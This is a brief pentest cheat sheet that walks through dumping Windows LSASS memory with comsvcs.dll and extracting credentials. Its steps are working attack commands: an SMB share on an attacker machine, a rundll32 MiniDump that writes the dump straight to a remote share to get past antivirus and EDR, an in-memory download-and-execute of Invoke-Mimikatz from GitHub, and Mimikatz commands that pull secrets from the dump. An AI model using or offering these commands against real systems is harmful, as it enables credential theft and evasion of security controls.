LSASS Dump with Comsvcs

Property

Links

Dumping LSASS via ComSvcs works as of 10/29/2021

Create a file share on Kali or elsewhere that you can immediately transfer the dump file to. We do this as some A/V and EDR solutions will delete the file if placed on disk.

smbserver.py share . -smb2support

From Windows -

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id \\192.168.1.44\share\lsass-comsvcs.dmp full

The file should be transferred to you machine now

Import Mimikatz to PowerShell on another Windows host machine (can also use something like Pypykatz on Kali)

iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/dievus/PowerShellForPentesters/main/Tools/Invoke-Mimikatz.ps1')

Change Mimikatz context to the LSASS dump

invoke-mimikatz -Command '"sekurlsa::minidump <directory>\lsass-comsvcs.dmp"'

Can then run Mimikatz commands against the dump

invoke-mimikatz -Command '"lsadump::lsa /patch"'